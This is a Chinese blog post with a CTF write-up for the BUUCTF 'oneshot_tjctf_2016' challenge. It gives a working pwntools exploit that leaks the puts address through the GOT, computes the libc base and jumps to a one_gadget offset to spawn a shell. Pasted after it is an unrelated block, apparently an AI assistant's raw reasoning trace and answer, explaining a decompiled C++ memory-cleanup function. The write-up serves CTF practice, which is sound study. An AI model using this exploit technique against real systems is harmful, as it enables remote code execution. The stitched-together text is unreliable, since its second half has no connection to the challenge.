BUUCTF之“oneshot_tjctf_2016”

本文介绍了通过泄露libc函数地址并计算基地址的方法,结合OneGadget工具找到execve地址的过程。文中详细解释了IDA中关于(_QWORD*)v4的操作含义及Python脚本实现。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

咳咳,这题就是对于onegadget的简单复习:泄露libc库某个函数,然后计算基地址,结合onegadget计算execve地址。

IDA中需要注意的:

*(_QWORD *)v4

这里着重说下“*(_QWORD )”,我们将之拆开来说:
(_QWORD
)意思是将八个字节的后者(v4)强制转换为8个字节的地址,而后再其前边加上星号就是提取指针“将指针指向的8个空间格子取出”,程序中的意思是,再将其以16进制形式打印出来。

WP:

from pwn import*
p=remote('node4.buuoj.cn',29008)
libc=ELF('./libc-2.23.so64')
elf=ELF('./shot')

puts_got=elf.got['puts']
p.sendlineafter("Read location?",str(puts_got))
p.recvuntil("0x")
addr_=int(p.recvuntil('\n'),16)

base=addr_-libc.symbols['puts']
onegad=base+0x45216

p.sendlineafter("Jump location?",str(onegad))
p.interactive()

WP中需要注意的:
一个是int的使用,
一个是str()的形式将"put_addr"和“onegad”输入上去:这是因为我们利用“send__的形式与远端进行交互,而send_的要求就是要发送字符,二者的都是地址,是数,所以我们的利用str()将其转成字符形式”

<think>好的,我现在需要解释用户提供的这段C++逆向工程代码。首先,我得仔细阅读代码,理解每个部分的作用,然后逐步拆解分析。 首先,函数声明是void __fastcall sub_18000B1B0(__int64 a1, int a2, char a3)。这里的__fastcall调用约定意味着参数通过寄存器传递,可能a1在RCX,a2在EDX,a3在R8B。但具体细节可能因编译器和平台而异,不过对于解释代码来说,可能不需要深入这个部分。 接下来,函数内部变量有i(RBX)、v6(RCX)、v7(RAX)。RBX、RCX、RAX都是寄存器,说明这段代码可能是反汇编后还原的,或者是编译器生成的汇编代码对应的C代码。这里的变量可能对应寄存器的使用,比如i保存在RBX中,v6使用RCX,v7使用RAX。 函数逻辑开始于检查a1是否为非空。如果a1为0,整个函数不执行任何操作。否则,进入循环,初始化i为a2-1,循环条件是i >= 0,每次循环后i自减,同时将*(_DWORD *)(v7 + a1 + 24)设置为0。这里的循环结构需要注意,i在每次迭代后递减,并且在循环体末尾有一个赋值操作。 在循环体内,首先有一个条件判断:if (i || !a3)。也就是说,当i不为0,或者a3为0时,执行内部的代码。这里可能是在处理数组元素,但最后一个元素(i=0)时有特殊处理,当a3为真时可能不释放某些资源? 然后,v6被赋值为*(void **)(32 * i + a1 + 16),这里计算的是a1基地址加上32*i的偏移,再加上16字节的位置,取出指针。如果v6非空,就调用free(v6),释放内存。这部分看起来是在释放某个结构体内部分配的内存。 接着,v7被赋值为32*i,然后i自减(注意这里的i--是在v7计算之后进行的,所以v7使用的是当前的i值)。接下来的四行代码,分别将a1加上不同偏移的位置设置为0: *(_QWORD *)(v7 + a1) = 0i64; // 偏移0的位置,8字节置0 *(_QWORD *)(v7 + a1 + 8) = 0i64; // 偏移8的位置,8字节置0 *(_QWORD *)(v7 + a1 + 16) = 0i64; // 偏移16的位置,8字节置0 而循环末尾的*(_DWORD *)(v7 + a1 + 24) = 0 是在偏移24的位置,4字节置0。这样,每个结构体元素占32字节(因为每次i减少1,偏移是32*i,所以每个元素32字节)。 整个结构可能是一个数组,每个元素大小为32字节,包含四个字段:前三个是8字节(可能是指针或QWORD),第四个是4字节的DWORD。当释放时,先释放第三个字段(偏移16)指向的内存,然后将所有字段清零。 现在需要将这些分析整理成用户容易理解的解释。可能需要将代码中的指针操作转化为结构体,比如假设每个元素是一个结构体: struct Element { __int64 field0; __int64 field8; void* field16; int field24; // 可能有4字节的填充,因为整个结构体是32字节 }; 然后函数的作用是遍历这个结构体数组,从索引a2-1到0,释放每个元素的field16指向的内存,并将所有字段清零。同时,当处理i=0时,如果a3为真,则不释放field16的内存,这可能用于保留第一个元素的数据或者有其他条件。 需要验证这个猜测是否正确。例如,当i=0且a3为true时,不进入if (i || !a3)的条件,所以不执行free(v6)。这可能意味着当处理最后一个元素(i=0)时,如果a3为true,则不释放该元素中的指针。这可能用于保留某些资源,或者根据a3参数决定是否完全清理。 另外,循环中的i是递减的,从a2-1到0,逐个处理每个元素。每次循环中,i先被使用,然后递减。例如,在v7 = 32 * i--;中,i的值是先用于计算v7,然后自减。所以第一次循环i是a2-1,计算v7为32*(a2-1),然后i变为a2-2,但循环条件在下次检查i >=0。不过,原代码的循环条件写的是for (i = a2 -1; i >=0; ...),然后在循环体末尾执行i--吗?不,原循环的第三部分是*(...)=0),然后i在每次循环体结束后执行i--?或者原代码的for循环结构可能有问题? 原代码的for循环结构: for (i = a2 -1; i >=0; *(_DWORD *)(v7 + a1 +24)=0 ) 这看起来第三部分是循环后执行的操作,即在每次迭代结束后,执行这个赋值。但可能这里存在反编译后的代码结构问题,因为通常for循环的第三部分是迭代表达式,如i--。可能反编译后的代码结构不够准确,导致循环逻辑需要重新理解。 实际上,循环体内部的i--可能是在执行v7 =32*i--的时候,i的值被递减。例如,在v7=32*i--中,i原来的值被用来计算v7,之后i减1。因此,循环的迭代变量i是在每次处理时递减的。这可能意味着循环次数是a2次,从i=a2-1开始,每次减1直到i变为-1,此时循环条件i >=0不满足,退出循环。 不过,原循环的条件是i >=0,循环体内部每次处理i后,i会自减。所以循环次数应该是a2次,处理i从a2-1到0,对吗?例如,当a2=3时,i初始为2,处理完后i变为1,下次循环处理i=1,然后i变为0,第三次处理i=0,之后i变为-1,退出循环。这样处理了3次,正确。所以循环次数是a2次,每个元素处理一次。 现在,总结函数的作用:这个函数的作用是释放一个动态数组中的每个元素所关联的资源,并将数组元素清零。参数a1是指向数组的指针,a2是数组的元素个数,a3可能是一个标志,控制是否释放第一个元素(i=0)的资源。 具体来说,当处理每个元素时,如果i不为0或者a3为false,则释放该元素中偏移16处的指针。对于i=0的情况,如果a3为true,则不释放该指针。这可能用于保留某个特定的元素资源,或者根据外部条件决定是否释放。 然后,无论是否释放,都会将当前元素的各个字段(偏移0、8、16、24)清零,其中前三个是QWORD(8字节),最后一个是DWORD(4字节),总共32字节。这样每个元素占32字节,整个数组的长度是a2个元素。 可能这个数组是一个自定义的动态数组结构,每个元素包含三个QWORD和一个DWORD,其中第三个QWORD是一个需要手动释放的指针。函数的作用是清理这个数组,释放其中元素分配的内存,并将整个数组清零。 此外,注意到在释放v6之后,将v7 +a1的位置(即当前元素的起始地址)的三个QWORD置零,并在循环末尾将偏移24的DWORD置零。这可能确保整个元素被完全清理,防止悬空指针。 需要检查是否存在可能的错误,例如,当a3为true时,i=0的元素中的v6可能未被释放,导致内存泄漏。或者,如果a3为false,则所有元素的v6都会被释放。因此,参数a3可能控制是否保留最后一个元素(i=0)的资源。 最后,结合函数名sub_18000B1B0,这可能是反编译后的自动生成名称,无法提供更多信息。但根据代码逻辑,可以推测这是一个清理函数,用于释放资源并重置数组。</think>以下是对这段C++逆向工程代码的逐步分析: $$ \begin{aligned} &\text{函数原型:} \\ &\quad \text{void \_\_fastcall sub\_18000B1B0(\_\_int64 a1, int a2, char a3)} \\ &\text{参数说明:} \\ &\quad a1 \rightarrow \text{结构体数组基地址} \\ &\quad a2 \rightarrow \text{数组元素个数} \\ &\quad a3 \rightarrow \text{控制是否保留首个元素的标志} \\ \end{aligned} $$ ### 核心逻辑解析 1. **安全检查** 当 `a1 != 0` 时执行清理操作,避免空指针访问。 2. **逆向遍历数组** ```cpp for (i = a2 - 1; i >= 0; ... ) ``` 从最后一个元素开始处理,直到第一个元素(索引0) 3. **内存释放条件** ```cpp if (i || !a3) { v6 = *(void**)(32*i + a1 +16); // 取偏移16处的指针 if (v6) free(v6); // 释放该指针指向的内存 } ``` - **当 `i != 0`**:总是释放内存 - **当 `i == 0`**:仅当 `a3 == 0` 时释放 4. **结构体清零操作** 通过指针运算将每个32字节的结构体清零: ```cpp *(_QWORD*)(v7 + a1) = 0; // 偏移0-7字节 *(_QWORD*)(v7 + a1 +8) = 0; // 偏移8-15字节 *(_QWORD*)(v7 + a1 +16) = 0; // 偏移16-23字节 *(_DWORD*)(v7 + a1 +24) = 0; // 偏移24-27字节 ``` ### 结构体伪代码表示 ```cpp struct ArrayElement { __int64 field_0; // 8字节 __int64 field_8; // 8字节 void* dynamic_ptr; // 8字节(需要释放的指针) int field_18; // 4字节 // 隐含4字节填充(对齐到32字节) }; ``` ### 函数行为总结 1. **逆向遍历**:从最后一个元素到第一个元素 2. **条件释放**: - 除首元素外,始终释放`dynamic_ptr` - 首元素仅在`a3 == false`时释放 3. **内存清理**:将每个元素的32字节存储区域置零 ### 典型应用场景推测 - **对象池清理**:当需要逆向销毁对象时(如栈式结构) - **资源管理**:`a3`参数可能用于控制是否保留根节点/首元素 - **内存安全**:清零操作防止悬垂指针,确保数据不可恢复 ### 潜在风险提示 1. **双重释放风险**:若外部已释放`dynamic_ptr`,此处会导致崩溃 2. **对齐假设**:依赖32字节对齐的结构体布局,平台迁移时可能出错 3. **类型强转**:原始指针操作缺乏类型安全检查 示例调用场景: ```cpp // 假设存在如下结构体数组 ArrayElement* arr = new ArrayElement[5]; // ...初始化操作... sub_18000B1B0((__int64)arr, 5, 1); // 清理数组但保留首个元素的dynamic_ptr ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值